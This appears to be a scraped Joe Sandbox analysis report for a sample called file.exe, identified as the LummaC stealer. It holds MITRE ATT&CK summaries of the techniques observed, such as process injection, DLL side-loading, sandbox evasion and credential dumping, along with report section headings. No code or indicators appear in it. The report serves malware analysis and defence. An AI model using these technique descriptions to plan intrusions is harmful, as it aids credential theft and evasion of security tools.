Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Windows Analysis Report
file.exe